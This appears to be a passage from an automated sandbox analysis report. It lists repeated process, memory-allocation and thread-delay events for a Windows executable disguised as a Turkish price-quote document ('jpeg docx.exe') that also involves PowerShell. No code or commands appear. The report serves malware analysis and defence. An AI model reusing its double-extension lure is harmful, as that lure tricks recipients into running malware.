Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: 10F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: 10F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: 9050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: A050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: A260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: B260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: 1200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Memory allocated: 4BA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599420	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597829	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597689	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597506	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596641	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596071	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6563	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3115	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Window / User API: threadDelayed 7806	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Window / User API: threadDelayed 2015	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Window / User API: foregroundWindowGot 1758	Jump to behavior

